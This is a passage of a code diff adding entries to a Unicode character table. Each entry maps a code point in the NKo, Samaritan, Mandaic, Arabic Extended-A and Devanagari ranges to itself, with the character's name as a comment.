+ ["\u07C1", "\u07C1"], /* NKO DIGIT ONE */
+ ["\u07C2", "\u07C2"], /* NKO DIGIT TWO */
+ ["\u07C3", "\u07C3"], /* NKO DIGIT THREE */
+ ["\u07C4", "\u07C4"], /* NKO DIGIT FOUR */
+ ["\u07C5", "\u07C5"], /* NKO DIGIT FIVE */
+ ["\u07C6", "\u07C6"], /* NKO DIGIT SIX */
+ ["\u07C7", "\u07C7"], /* NKO DIGIT SEVEN */
+ ["\u07C8", "\u07C8"], /* NKO DIGIT EIGHT */
+ ["\u07C9", "\u07C9"], /* NKO DIGIT NINE */
+ ["\u07CA", "\u07CA"], /* NKO LETTER A */
+ ["\u07CB", "\u07CB"], /* NKO LETTER EE */
+ ["\u07CC", "\u07CC"], /* NKO LETTER I */
+ ["\u07CD", "\u07CD"], /* NKO LETTER E */
+ ["\u07CE", "\u07CE"], /* NKO LETTER U */
+ ["\u07CF", "\u07CF"], /* NKO LETTER OO */
+ ["\u07D0", "\u07D0"], /* NKO LETTER O */
+ ["\u07D1", "\u07D1"], /* NKO LETTER DAGBASINNA */
+ ["\u07D2", "\u07D2"], /* NKO LETTER N */
+ ["\u07D3", "\u07D3"], /* NKO LETTER BA */
+ ["\u07D4", "\u07D4"], /* NKO LETTER PA */
+ ["\u07D5", "\u07D5"], /* NKO LETTER TA */
+ ["\u07D6", "\u07D6"], /* NKO LETTER JA */
+ ["\u07D7", "\u07D7"], /* NKO LETTER CHA */
+ ["\u07D8", "\u07D8"], /* NKO LETTER DA */
+ ["\u07D9", "\u07D9"], /* NKO LETTER RA */
+ ["\u07DA", "\u07DA"], /* NKO LETTER RRA */
+ ["\u07DB", "\u07DB"], /* NKO LETTER SA */
+ ["\u07DC", "\u07DC"], /* NKO LETTER GBA */
+ ["\u07DD", "\u07DD"], /* NKO LETTER FA */
+ ["\u07DE", "\u07DE"], /* NKO LETTER KA */
+ ["\u07DF", "\u07DF"], /* NKO LETTER LA */
+ ["\u07E0", "\u07E0"], /* NKO LETTER NA WOLOSO */
+ ["\u07E1", "\u07E1"], /* NKO LETTER MA */
+ ["\u07E2", "\u07E2"], /* NKO LETTER NYA */
+ ["\u07E3", "\u07E3"], /* NKO LETTER NA */
+ ["\u07E4", "\u07E4"], /* NKO LETTER HA */
+ ["\u07E5", "\u07E5"], /* NKO LETTER WA */
+ ["\u07E6", "\u07E6"], /* NKO LETTER YA */
+ ["\u07E7", "\u07E7"], /* NKO LETTER NYA WOLOSO */
+ ["\u07E8", "\u07E8"], /* NKO LETTER JONA JA */
+ ["\u07E9", "\u07E9"], /* NKO LETTER JONA CHA */
+ ["\u07EA", "\u07EA"], /* NKO LETTER JONA RA */
+ ["\u07EB", "\u07EB"], /* NKO COMBINING SHORT HIGH TONE */
+ ["\u07EC", "\u07EC"], /* NKO COMBINING SHORT LOW TONE */
+ ["\u07ED", "\u07ED"], /* NKO COMBINING SHORT RISING TONE */
+ ["\u07EE", "\u07EE"], /* NKO COMBINING LONG DESCENDING TONE */
+ ["\u07EF", "\u07EF"], /* NKO COMBINING LONG HIGH TONE */
+ ["\u07F0", "\u07F0"], /* NKO COMBINING LONG LOW TONE */
+ ["\u07F1", "\u07F1"], /* NKO COMBINING LONG RISING TONE */
+ ["\u07F2", "\u07F2"], /* NKO COMBINING NASALIZATION MARK */
+ ["\u07F3", "\u07F3"], /* NKO COMBINING DOUBLE DOT ABOVE */
+ ["\u07F4", "\u07F4"], /* NKO HIGH TONE APOSTROPHE */
+ ["\u07F5", "\u07F5"], /* NKO LOW TONE APOSTROPHE */
+ ["\u07F6", "\u07F6"], /* NKO SYMBOL OO DENNEN */
+ ["\u07F7", "\u07F7"], /* NKO SYMBOL GBAKURUNEN */
+ ["\u07F8", "\u07F8"], /* NKO COMMA */
+ ["\u07F9", "\u07F9"], /* NKO EXCLAMATION MARK */
+ ["\u07FA", "\u07FA"], /* NKO LAJANYALAN */
+ ["\u07FB", "\u07FB"],
+ ["\u07FC", "\u07FC"],
+ ["\u07FD", "\u07FD"], /* NKO DANTAYALAN */
+ ["\u07FE", "\u07FE"], /* NKO DOROME SIGN */
+ ["\u07FF", "\u07FF"], /* NKO TAMAN SIGN */
+ ["\u0800", "\u0800"], /* SAMARITAN LETTER ALAF */
+ ["\u0801", "\u0801"], /* SAMARITAN LETTER BIT */
+ ["\u0802", "\u0802"], /* SAMARITAN LETTER GAMAN */
+ ["\u0803", "\u0803"], /* SAMARITAN LETTER DALAT */
+ ["\u0804", "\u0804"], /* SAMARITAN LETTER IY */
+ ["\u0805", "\u0805"], /* SAMARITAN LETTER BAA */
+ ["\u0806", "\u0806"], /* SAMARITAN LETTER ZEN */
+ ["\u0807", "\u0807"], /* SAMARITAN LETTER IT */
+ ["\u0808", "\u0808"], /* SAMARITAN LETTER TIT */
+ ["\u0809", "\u0809"], /* SAMARITAN LETTER YUT */
+ ["\u080A", "\u080A"], /* SAMARITAN LETTER KAAF */
+ ["\u080B", "\u080B"], /* SAMARITAN LETTER LABAT */
+ ["\u080C", "\u080C"], /* SAMARITAN LETTER MIM */
+ ["\u080D", "\u080D"], /* SAMARITAN LETTER NUN */
+ ["\u080E", "\u080E"], /* SAMARITAN LETTER SINGAAT */
+ ["\u080F", "\u080F"], /* SAMARITAN LETTER IN */
+ ["\u0810", "\u0810"], /* SAMARITAN LETTER FI */
+ ["\u0811", "\u0811"], /* SAMARITAN LETTER TSAADIY */
+ ["\u0812", "\u0812"], /* SAMARITAN LETTER QUF */
+ ["\u0813", "\u0813"], /* SAMARITAN LETTER RISH */
+ ["\u0814", "\u0814"], /* SAMARITAN LETTER SHAN */
+ ["\u0815", "\u0815"], /* SAMARITAN LETTER TAAF */
+ ["\u0816", "\u0816"], /* SAMARITAN MARK IN */
+ ["\u0817", "\u0817"], /* SAMARITAN MARK IN-ALAF */
+ ["\u0818", "\u0818"], /* SAMARITAN MARK OCCLUSION */
+ ["\u0819", "\u0819"], /* SAMARITAN MARK DAGESH */
+ ["\u081A", "\u081A"], /* SAMARITAN MODIFIER LETTER EPENTHETIC YUT */
+ ["\u081B", "\u081B"], /* SAMARITAN MARK EPENTHETIC YUT */
+ ["\u081C", "\u081C"], /* SAMARITAN VOWEL SIGN LONG E */
+ ["\u081D", "\u081D"], /* SAMARITAN VOWEL SIGN E */
+ ["\u081E", "\u081E"], /* SAMARITAN VOWEL SIGN OVERLONG AA */
+ ["\u081F", "\u081F"], /* SAMARITAN VOWEL SIGN LONG AA */
+ ["\u0820", "\u0820"], /* SAMARITAN VOWEL SIGN AA */
+ ["\u0821", "\u0821"], /* SAMARITAN VOWEL SIGN OVERLONG A */
+ ["\u0822", "\u0822"], /* SAMARITAN VOWEL SIGN LONG A */
+ ["\u0823", "\u0823"], /* SAMARITAN VOWEL SIGN A */
+ ["\u0824", "\u0824"], /* SAMARITAN MODIFIER LETTER SHORT A */
+ ["\u0825", "\u0825"], /* SAMARITAN VOWEL SIGN SHORT A */
+ ["\u0826", "\u0826"], /* SAMARITAN VOWEL SIGN LONG U */
+ ["\u0827", "\u0827"], /* SAMARITAN VOWEL SIGN U */
+ ["\u0828", "\u0828"], /* SAMARITAN MODIFIER LETTER I */
+ ["\u0829", "\u0829"], /* SAMARITAN VOWEL SIGN LONG I */
+ ["\u082A", "\u082A"], /* SAMARITAN VOWEL SIGN I */
+ ["\u082B", "\u082B"], /* SAMARITAN VOWEL SIGN O */
+ ["\u082C", "\u082C"], /* SAMARITAN VOWEL SIGN SUKUN */
+ ["\u082D", "\u082D"], /* SAMARITAN MARK NEQUDAA */
+ ["\u082E", "\u082E"],
+ ["\u082F", "\u082F"],
+ ["\u0830", "\u0830"], /* SAMARITAN PUNCTUATION NEQUDAA */
+ ["\u0831", "\u0831"], /* SAMARITAN PUNCTUATION AFSAAQ */
+ ["\u0832", "\u0832"], /* SAMARITAN PUNCTUATION ANGED */
+ ["\u0833", "\u0833"], /* SAMARITAN PUNCTUATION BAU */
+ ["\u0834", "\u0834"], /* SAMARITAN PUNCTUATION ATMAAU */
+ ["\u0835", "\u0835"], /* SAMARITAN PUNCTUATION SHIYYAALAA */
+ ["\u0836", "\u0836"], /* SAMARITAN ABBREVIATION MARK */
+ ["\u0837", "\u0837"], /* SAMARITAN PUNCTUATION MELODIC QITSA */
+ ["\u0838", "\u0838"], /* SAMARITAN PUNCTUATION ZIQAA */
+ ["\u0839", "\u0839"], /* SAMARITAN PUNCTUATION QITSA */
+ ["\u083A", "\u083A"], /* SAMARITAN PUNCTUATION ZAEF */
+ ["\u083B", "\u083B"], /* SAMARITAN PUNCTUATION TURU */
+ ["\u083C", "\u083C"], /* SAMARITAN PUNCTUATION ARKAANU */
+ ["\u083D", "\u083D"], /* SAMARITAN PUNCTUATION SOF MASHFAAT */
+ ["\u083E", "\u083E"], /* SAMARITAN PUNCTUATION ANNAAU */
+ ["\u083F", "\u083F"],
+ ["\u0840", "\u0840"], /* MANDAIC LETTER HALQA */
+ ["\u0841", "\u0841"], /* MANDAIC LETTER AB */
+ ["\u0842", "\u0842"], /* MANDAIC LETTER AG */
+ ["\u0843", "\u0843"], /* MANDAIC LETTER AD */
+ ["\u0844", "\u0844"], /* MANDAIC LETTER AH */
+ ["\u0845", "\u0845"], /* MANDAIC LETTER USHENNA */
+ ["\u0846", "\u0846"], /* MANDAIC LETTER AZ */
+ ["\u0847", "\u0847"], /* MANDAIC LETTER IT */
+ ["\u0848", "\u0848"], /* MANDAIC LETTER ATT */
+ ["\u0849", "\u0849"], /* MANDAIC LETTER AKSA */
+ ["\u084A", "\u084A"], /* MANDAIC LETTER AK */
+ ["\u084B", "\u084B"], /* MANDAIC LETTER AL */
+ ["\u084C", "\u084C"], /* MANDAIC LETTER AM */
+ ["\u084D", "\u084D"], /* MANDAIC LETTER AN */
+ ["\u084E", "\u084E"], /* MANDAIC LETTER AS */
+ ["\u084F", "\u084F"], /* MANDAIC LETTER IN */
+ ["\u0850", "\u0850"], /* MANDAIC LETTER AP */
+ ["\u0851", "\u0851"], /* MANDAIC LETTER ASZ */
+ ["\u0852", "\u0852"], /* MANDAIC LETTER AQ */
+ ["\u0853", "\u0853"], /* MANDAIC LETTER AR */
+ ["\u0854", "\u0854"], /* MANDAIC LETTER ASH */
+ ["\u0855", "\u0855"], /* MANDAIC LETTER AT */
+ ["\u0856", "\u0856"], /* MANDAIC LETTER DUSHENNA */
+ ["\u0857", "\u0857"], /* MANDAIC LETTER KAD */
+ ["\u0858", "\u0858"], /* MANDAIC LETTER AIN */
+ ["\u0859", "\u0859"], /* MANDAIC AFFRICATION MARK */
+ ["\u085A", "\u085A"], /* MANDAIC VOCALIZATION MARK */
+ ["\u085B", "\u085B"], /* MANDAIC GEMINATION MARK */
+ ["\u085C", "\u085C"],
+ ["\u085D", "\u085D"],
+ ["\u085E", "\u085E"], /* MANDAIC PUNCTUATION */
+ ["\u085F", "\u085F"],
+ ["\u0860", "\u0860"], /* SYRIAC LETTER MALAYALAM NGA */
+ ["\u0861", "\u0861"], /* SYRIAC LETTER MALAYALAM JA */
+ ["\u0862", "\u0862"], /* SYRIAC LETTER MALAYALAM NYA */
+ ["\u0863", "\u0863"], /* SYRIAC LETTER MALAYALAM TTA */
+ ["\u0864", "\u0864"], /* SYRIAC LETTER MALAYALAM NNA */
+ ["\u0865", "\u0865"], /* SYRIAC LETTER MALAYALAM NNNA */
+ ["\u0866", "\u0866"], /* SYRIAC LETTER MALAYALAM BHA */
+ ["\u0867", "\u0867"], /* SYRIAC LETTER MALAYALAM RA */
+ ["\u0868", "\u0868"], /* SYRIAC LETTER MALAYALAM LLA */
+ ["\u0869", "\u0869"], /* SYRIAC LETTER MALAYALAM LLLA */
+ ["\u086A", "\u086A"], /* SYRIAC LETTER MALAYALAM SSA */
+ ["\u086B", "\u086B"],
+ ["\u086C", "\u086C"],
+ ["\u086D", "\u086D"],
+ ["\u086E", "\u086E"],
+ ["\u086F", "\u086F"],
+ ["\u0870", "\u0870"],
+ ["\u0871", "\u0871"],
+ ["\u0872", "\u0872"],
+ ["\u0873", "\u0873"],
+ ["\u0874", "\u0874"],
+ ["\u0875", "\u0875"],
+ ["\u0876", "\u0876"],
+ ["\u0877", "\u0877"],
+ ["\u0878", "\u0878"],
+ ["\u0879", "\u0879"],
+ ["\u087A", "\u087A"],
+ ["\u087B", "\u087B"],
+ ["\u087C", "\u087C"],
+ ["\u087D", "\u087D"],
+ ["\u087E", "\u087E"],
+ ["\u087F", "\u087F"],
+ ["\u0880", "\u0880"],
+ ["\u0881", "\u0881"],
+ ["\u0882", "\u0882"],
+ ["\u0883", "\u0883"],
+ ["\u0884", "\u0884"],
+ ["\u0885", "\u0885"],
+ ["\u0886", "\u0886"],
+ ["\u0887", "\u0887"],
+ ["\u0888", "\u0888"],
+ ["\u0889", "\u0889"],
+ ["\u088A", "\u088A"],
+ ["\u088B", "\u088B"],
+ ["\u088C", "\u088C"],
+ ["\u088D", "\u088D"],
+ ["\u088E", "\u088E"],
+ ["\u088F", "\u088F"],
+ ["\u0890", "\u0890"],
+ ["\u0891", "\u0891"],
+ ["\u0892", "\u0892"],
+ ["\u0893", "\u0893"],
+ ["\u0894", "\u0894"],
+ ["\u0895", "\u0895"],
+ ["\u0896", "\u0896"],
+ ["\u0897", "\u0897"],
+ ["\u0898", "\u0898"],
+ ["\u0899", "\u0899"],
+ ["\u089A", "\u089A"],
+ ["\u089B", "\u089B"],
+ ["\u089C", "\u089C"],
+ ["\u089D", "\u089D"],
+ ["\u089E", "\u089E"],
+ ["\u089F", "\u089F"],
+ ["\u08A0", "\u08A0"], /* ARABIC LETTER BEH WITH SMALL V BELOW */
+ ["\u08A1", "\u08A1"], /* ARABIC LETTER BEH WITH HAMZA ABOVE */
+ ["\u08A2", "\u08A2"], /* ARABIC LETTER JEEM WITH TWO DOTS ABOVE */
+ ["\u08A3", "\u08A3"], /* ARABIC LETTER TAH WITH TWO DOTS ABOVE */
+ ["\u08A4", "\u08A4"], /* ARABIC LETTER FEH WITH DOT BELOW AND THREE DOTS ABOVE */
+ ["\u08A5", "\u08A5"], /* ARABIC LETTER QAF WITH DOT BELOW */
+ ["\u08A6", "\u08A6"], /* ARABIC LETTER LAM WITH DOUBLE BAR */
+ ["\u08A7", "\u08A7"], /* ARABIC LETTER MEEM WITH THREE DOTS ABOVE */
+ ["\u08A8", "\u08A8"], /* ARABIC LETTER YEH WITH TWO DOTS BELOW AND HAMZA ABOVE */
+ ["\u08A9", "\u08A9"], /* ARABIC LETTER YEH WITH TWO DOTS BELOW AND DOT ABOVE */
+ ["\u08AA", "\u08AA"], /* ARABIC LETTER REH WITH LOOP */
+ ["\u08AB", "\u08AB"], /* ARABIC LETTER WAW WITH DOT WITHIN */
+ ["\u08AC", "\u08AC"], /* ARABIC LETTER ROHINGYA YEH */
+ ["\u08AD", "\u08AD"], /* ARABIC LETTER LOW ALEF */
+ ["\u08AE", "\u08AE"], /* ARABIC LETTER DAL WITH THREE DOTS BELOW */
+ ["\u08AF", "\u08AF"], /* ARABIC LETTER SAD WITH THREE DOTS BELOW */
+ ["\u08B0", "\u08B0"], /* ARABIC LETTER GAF WITH INVERTED STROKE */
+ ["\u08B1", "\u08B1"], /* ARABIC LETTER STRAIGHT WAW */
+ ["\u08B2", "\u08B2"], /* ARABIC LETTER ZAIN WITH INVERTED V ABOVE */
+ ["\u08B3", "\u08B3"], /* ARABIC LETTER AIN WITH THREE DOTS BELOW */
+ ["\u08B4", "\u08B4"], /* ARABIC LETTER KAF WITH DOT BELOW */
+ ["\u08B5", "\u08B5"],
+ ["\u08B6", "\u08B6"], /* ARABIC LETTER BEH WITH SMALL MEEM ABOVE */
+ ["\u08B7", "\u08B7"], /* ARABIC LETTER PEH WITH SMALL MEEM ABOVE */
+ ["\u08B8", "\u08B8"], /* ARABIC LETTER TEH WITH SMALL TEH ABOVE */
+ ["\u08B9", "\u08B9"], /* ARABIC LETTER REH WITH SMALL NOON ABOVE */
+ ["\u08BA", "\u08BA"], /* ARABIC LETTER YEH WITH TWO DOTS BELOW AND SMALL NOON ABOVE */
+ ["\u08BB", "\u08BB"], /* ARABIC LETTER AFRICAN FEH */
+ ["\u08BC", "\u08BC"], /* ARABIC LETTER AFRICAN QAF */
+ ["\u08BD", "\u08BD"], /* ARABIC LETTER AFRICAN NOON */
+ ["\u08BE", "\u08BE"], /* ARABIC LETTER PEH WITH SMALL V */
+ ["\u08BF", "\u08BF"], /* ARABIC LETTER TEH WITH SMALL V */
+ ["\u08C0", "\u08C0"], /* ARABIC LETTER TTEH WITH SMALL V */
+ ["\u08C1", "\u08C1"], /* ARABIC LETTER TCHEH WITH SMALL V */
+ ["\u08C2", "\u08C2"], /* ARABIC LETTER KEHEH WITH SMALL V */
+ ["\u08C3", "\u08C3"], /* ARABIC LETTER GHAIN WITH THREE DOTS ABOVE */
+ ["\u08C4", "\u08C4"], /* ARABIC LETTER AFRICAN QAF WITH THREE DOTS ABOVE */
+ ["\u08C5", "\u08C5"], /* ARABIC LETTER JEEM WITH THREE DOTS ABOVE */
+ ["\u08C6", "\u08C6"], /* ARABIC LETTER JEEM WITH THREE DOTS BELOW */
+ ["\u08C7", "\u08C7"], /* ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE */
+ ["\u08C8", "\u08C8"],
+ ["\u08C9", "\u08C9"],
+ ["\u08CA", "\u08CA"],
+ ["\u08CB", "\u08CB"],
+ ["\u08CC", "\u08CC"],
+ ["\u08CD", "\u08CD"],
+ ["\u08CE", "\u08CE"],
+ ["\u08CF", "\u08CF"],
+ ["\u08D0", "\u08D0"],
+ ["\u08D1", "\u08D1"],
+ ["\u08D2", "\u08D2"],
+ ["\u08D3", "\u08D3"], /* ARABIC SMALL LOW WAW */
+ ["\u08D4", "\u08D4"], /* ARABIC SMALL HIGH WORD AR-RUB */
+ ["\u08D5", "\u08D5"], /* ARABIC SMALL HIGH SAD */
+ ["\u08D6", "\u08D6"], /* ARABIC SMALL HIGH AIN */
+ ["\u08D7", "\u08D7"], /* ARABIC SMALL HIGH QAF */
+ ["\u08D8", "\u08D8"], /* ARABIC SMALL HIGH NOON WITH KASRA */
+ ["\u08D9", "\u08D9"], /* ARABIC SMALL LOW NOON WITH KASRA */
+ ["\u08DA", "\u08DA"], /* ARABIC SMALL HIGH WORD ATH-THALATHA */
+ ["\u08DB", "\u08DB"], /* ARABIC SMALL HIGH WORD AS-SAJDA */
+ ["\u08DC", "\u08DC"], /* ARABIC SMALL HIGH WORD AN-NISF */
+ ["\u08DD", "\u08DD"], /* ARABIC SMALL HIGH WORD SAKTA */
+ ["\u08DE", "\u08DE"], /* ARABIC SMALL HIGH WORD QIF */
+ ["\u08DF", "\u08DF"], /* ARABIC SMALL HIGH WORD WAQFA */
+ ["\u08E0", "\u08E0"], /* ARABIC SMALL HIGH FOOTNOTE MARKER */
+ ["\u08E1", "\u08E1"], /* ARABIC SMALL HIGH SIGN SAFHA */
+ ["\u08E2", "\u08E2"], /* ARABIC DISPUTED END OF AYAH */
+ ["\u08E3", "\u08E3"], /* ARABIC TURNED DAMMA BELOW */
+ ["\u08E4", "\u08E4"], /* ARABIC CURLY FATHA */
+ ["\u08E5", "\u08E5"], /* ARABIC CURLY DAMMA */
+ ["\u08E6", "\u08E6"], /* ARABIC CURLY KASRA */
+ ["\u08E7", "\u08E7"], /* ARABIC CURLY FATHATAN */
+ ["\u08E8", "\u08E8"], /* ARABIC CURLY DAMMATAN */
+ ["\u08E9", "\u08E9"], /* ARABIC CURLY KASRATAN */
+ ["\u08EA", "\u08EA"], /* ARABIC TONE ONE DOT ABOVE */
+ ["\u08EB", "\u08EB"], /* ARABIC TONE TWO DOTS ABOVE */
+ ["\u08EC", "\u08EC"], /* ARABIC TONE LOOP ABOVE */
+ ["\u08ED", "\u08ED"], /* ARABIC TONE ONE DOT BELOW */
+ ["\u08EE", "\u08EE"], /* ARABIC TONE TWO DOTS BELOW */
+ ["\u08EF", "\u08EF"], /* ARABIC TONE LOOP BELOW */
+ ["\u08F0", "\u08F0"], /* ARABIC OPEN FATHATAN */
+ ["\u08F1", "\u08F1"], /* ARABIC OPEN DAMMATAN */
+ ["\u08F2", "\u08F2"], /* ARABIC OPEN KASRATAN */
+ ["\u08F3", "\u08F3"], /* ARABIC SMALL HIGH WAW */
+ ["\u08F4", "\u08F4"], /* ARABIC FATHA WITH RING */
+ ["\u08F5", "\u08F5"], /* ARABIC FATHA WITH DOT ABOVE */
+ ["\u08F6", "\u08F6"], /* ARABIC KASRA WITH DOT BELOW */
+ ["\u08F7", "\u08F7"], /* ARABIC LEFT ARROWHEAD ABOVE */
+ ["\u08F8", "\u08F8"], /* ARABIC RIGHT ARROWHEAD ABOVE */
+ ["\u08F9", "\u08F9"], /* ARABIC LEFT ARROWHEAD BELOW */
+ ["\u08FA", "\u08FA"], /* ARABIC RIGHT ARROWHEAD BELOW */
+ ["\u08FB", "\u08FB"], /* ARABIC DOUBLE RIGHT ARROWHEAD ABOVE */
+ ["\u08FC", "\u08FC"], /* ARABIC DOUBLE RIGHT ARROWHEAD ABOVE WITH DOT */
+ ["\u08FD", "\u08FD"], /* ARABIC RIGHT ARROWHEAD ABOVE WITH DOT */
+ ["\u08FE", "\u08FE"], /* ARABIC DAMMA WITH DOT */
+ ["\u08FF", "\u08FF"], /* ARABIC MARK SIDEWAYS NOON GHUNNA */
+ ["\u0900", "\u0900"], /* DEVANAGARI SIGN INVERTED CANDRABINDU */
+ ["\u0901", "\u0901"], /* DEVANAGARI SIGN CANDRABINDU */
+ ["\u0902", "\u0902"], /* DEVANAGARI SIGN ANUSVARA */
+ ["\u0903", "\u0903"], /* DEVANAGARI SIGN VISARGA */
+ ["\u0904", "\u0904"], /* DEVANAGARI LETTER SHORT A */
+ ["\u0905", "\u0905"], /* DEVANAGARI LETTER A */
+ ["\u0906", "\u0906"], /* DEVANAGARI LETTER AA */
+ ["\u0907", "\u0907"], /* DEVANAGARI LETTER I */
+ ["\u0908", "\u0908"], /* DEVANAGARI LETTER II */
+ ["\u0909", "\u0909"], /* DEVANAGARI LETTER U */
+ ["\u090A", "\u090A"], /* DEVANAGARI LETTER UU */
+ ["\u090B", "\u090B"], /* DEVANAGARI LETTER VOCALIC R */
+ ["\u090C", "\u090C"], /* DEVANAGARI LETTER VOCALIC L */
+ ["\u090D", "\u090D"], /* DEVANAGARI LETTER CANDRA E */
+ ["\u090E", "\u090E"], /* DEVANAGARI LETTER SHORT E */
+ ["\u090F", "\u090F"], /* DEVANAGARI LETTER E */
+ ["\u0910", "\u0910"], /* DEVANAGARI LETTER AI */
+ ["\u0911", "\u0911"], /* DEVANAGARI LETTER CANDRA O */
+ ["\u0912", "\u0912"], /* DEVANAGARI LETTER SHORT O */
+ ["\u0913", "\u0913"], /* DEVANAGARI LETTER O */
+ ["\u0914", "\u0914"], /* DEVANAGARI LETTER AU */
+ ["\u0915", "\u0915"], /* DEVANAGARI LETTER KA */
+ ["\u0916", "\u0916"], /* DEVANAGARI LETTER KHA */
+ ["\u0917", "\u0917"], /* DEVANAGARI LETTER GA */
+ ["\u0918", "\u0918"], /* DEVANAGARI LETTER GHA */
+ ["\u0919", "\u0919"], /* DEVANAGARI LETTER NGA */
+ ["\u091A", "\u091A"], /* DEVANAGARI LETTER CA */
+ ["\u091B", "\u091B"], /* DEVANAGARI LETTER CHA */
+ ["\u091C", "\u091C"], /* DEVANAGARI LETTER JA */
+ ["\u091D", "\u091D"], /* DEVANAGARI LETTER JHA */
+ ["\u091E", "\u091E"], /* DEVANAGARI LETTER NYA */
+ ["\u091F", "\u091F"], /* DEVANAGARI LETTER TTA */
+ ["\u0920", "\u0920"], /* DEVANAGARI LETTER TTHA */
+ ["\u0921", "\u0921"], /* DEVANAGARI LETTER DDA */
+ ["\u0922", "\u0922"], /* DEVANAGARI LETTER DDHA */
+ ["\u0923", "\u0923"], /* DEVANAGARI LETTER NNA */
+ ["\u0924", "\u0924"], /* DEVANAGARI LETTER TA */
+ ["\u0925", "\u0925"], /* DEVANAGARI LETTER THA */
+ ["\u0926", "\u0926"], /* DEVANAGARI LETTER DA */
+ ["\u0927", "\u0927"], /* DEVANAGARI LETTER DHA */
+ ["\u0928", "\u0928"], /* DEVANAGARI LETTER NA */
+ ["\u0929", "\u0929"], /* DEVANAGARI LETTER NNNA */
+ ["\u092A", "\u092A"], /* DEVANAGARI LETTER PA */
+ ["\u092B", "\u092B"], /* DEVANAGARI LETTER PHA */
+ ["\u092C", "\u092C"], /* DEVANAGARI LETTER BA */
+ ["\u092D", "\u092D"], /* DEVANAGARI LETTER BHA */
+ ["\u092E", "\u092E"], /* DEVANAGARI LETTER MA */
+ ["\u092F", "\u092F"], /* DEVANAGARI LETTER YA */
+ ["\u0930", "\u0930"], /* DEVANAGARI LETTER RA */
+ ["\u0931", "\u0931"], /* DEVANAGARI LETTER RRA */
+ ["\u0932", "\u0932"], /* DEVANAGARI LETTER LA */
+ ["\u0933", "\u0933"], /* DEVANAGARI LETTER LLA */
+ ["\u0934", "\u0934"], /* DEVANAGARI LETTER LLLA */
+ ["\u0935", "\u0935"], /* DEVANAGARI LETTER VA */
+ ["\u0936", "\u0936"], /* DEVANAGARI LETTER SHA */
+ ["\u0937", "\u0937"], /* DEVANAGARI LETTER SSA */
+ ["\u0938", "\u0938"], /* DEVANAGARI LETTER SA */
+ ["\u0939", "\u0939"], /* DEVANAGARI LETTER HA */
+ ["\u093A", "\u093A"], /* DEVANAGARI VOWEL SIGN OE */
+ ["\u093B", "\u093B"], /* DEVANAGARI VOWEL SIGN OOE */
+ ["\u093C", "\u093C"], /* DEVANAGARI SIGN NUKTA */
+ ["\u093D", "\u093D"], /* DEVANAGARI SIGN AVAGRAHA */
+ ["\u093E", "\u093E"], /* DEVANAGARI VOWEL SIGN AA */
+ ["\u093F", "\u093F"], /* DEVANAGARI VOWEL SIGN I */
+ ["\u0940", "\u0940"], /* DEVANAGARI VOWEL SIGN II */
+ ["\u0941", "\u0941"], /* DEVANAGARI VOWEL SIGN U */
+ ["\u0942", "\u0942"], /* DEVANAGARI VOWEL SIGN UU */
+ ["\u0943", "\u0943"], /* DEVANAGARI VOWEL SIGN VOCALIC R */
+ ["\u0944", "\u0944"], /* DEVANAGARI VOWEL SIGN VOCALIC RR */
+ ["\u0945", "\u0945"], /* DEVANAGARI VOWEL SIGN CANDRA E */
+ ["\u0946", "\u0946"], /* DEVANAGARI VOWEL SIGN SHORT E */
+ ["\u0947", "\u0947"], /* DEVANAGARI VOWEL SIGN E */
+ ["\u0948", "\u0948"], /* DEVANAGARI VOWEL SIGN AI */
+ ["\u0949", "\u0949"], /* DEVANAGARI VOWEL SIGN CANDRA O */
+ ["\u094A", "\u094A"], /* DEVANAGARI VOWEL SIGN SHORT O */
+ ["\u094B", "\u094B"], /* DEVANAGARI VOWEL SIGN O */
+ ["\u094C", "\u094C"], /* DEVANAGARI VOWEL SIGN AU */
+ ["\u094D", "\u094D"], /* DEVANAGARI SIGN VIRAMA */
+ ["\u094E", "\u094E"], /* DEVANAGARI VOWEL SIGN PRISHTHAMATRA E */
+ ["\u094F", "\u094F"], /* DEVANAGARI VOWEL SIGN AW */
+ ["\u0950", "\u0950"], /* DEVANAGARI OM */
+ ["\u0951", "\u0951"], /* DEVANAGARI STRESS SIGN UDATTA */
+ ["\u0952", "\u0952"], /* DEVANAGARI STRESS SIGN ANUDATTA */
+ ["\u0953", "\u0953"], /* DEVANAGARI GRAVE ACCENT */
+ ["\u0954", "\u0954"], /* DEVANAGARI ACUTE ACCENT */
+ ["\u0955", "\u0955"], /* DEVANAGARI VOWEL SIGN CANDRA LONG E */
+ ["\u0956", "\u0956"], /* DEVANAGARI VOWEL SIGN UE */
+ ["\u0957", "\u0957"], /* DEVANAGARI VOWEL SIGN UUE */
+ ["\u0958", "\u0958"], /* DEVANAGARI LETTER QA */
+ ["\u0959", "\u0959"], /* DEVANAGARI LETTER KHHA */
+ ["\u095A", "\u095A"], /* DEVANAGARI LETTER GHHA */
+ ["\u095B", "\u095B"], /* DEVANAGARI LETTER ZA */
+ ["\u095C", "\u095C"], /* DEVANAGARI LETTER DDDHA */
+ ["\u095D", "\u095D"], /* DEVANAGARI LETTER RHA */
+ ["\u095E", "\u095E"], /* DEVANAGARI LETTER FA */
+ ["\u095F", "\u095F"], /* DEVANAGARI LETTER YYA */
+ ["\u0960", "\u0960"], /* DEVANAGARI LETTER VOCALIC RR */
+ ["\u0961", "\u0961"], /* DEVANAGARI LETTER VOCALIC LL */
+ ["\u0962", "\u0962"], /* DEVANAGARI VOWEL SIGN VOCALIC L */
+ ["\u0963", "\u0963"], /* DEVANAGARI VOWEL SIGN VOCALIC LL */
+ ["\u0964", "\u0964"], /* DEVANAGARI DANDA */
+ ["\u0965", "\u0965"], /* DEVANAGARI DOUBLE DANDA */
+ ["\u0966", "\u0966"], /* DEVANAGARI DIGIT ZERO */
+ ["\u0967", "\u0967"], /* DEVANAGARI DIGIT ONE */
+ ["\u0968", "\u0968"], /* DEVANAGARI DIGIT TWO */
+ ["\u0969", "\u0969"], /* DEVANAGARI DIGIT THREE */
+ ["\u096A", "\u096A"], /* DEVANAGARI DIGIT FOUR */
+ ["\u096B", "\u096B"], /* DEVANAGARI DIGIT FIVE */
+ ["\u096C", "\u096C"], /* DEVANAGARI DIGIT SIX */
+ ["\u096D", "\u096D"], /* DEVANAGARI DIGIT SEVEN */
+ ["\u096E", "\u096E"], /* DEVANAGARI DIGIT EIGHT */
+ ["\u096F", "\u096F"], /* DEVANAGARI DIGIT NINE */
+ ["\u0970", "\u0970"], /* DEVANAGARI ABBREVIATION SIGN */
+ ["\u0971", "\u0971"], /* DEVANAGARI SIGN HIGH SPACING DOT */
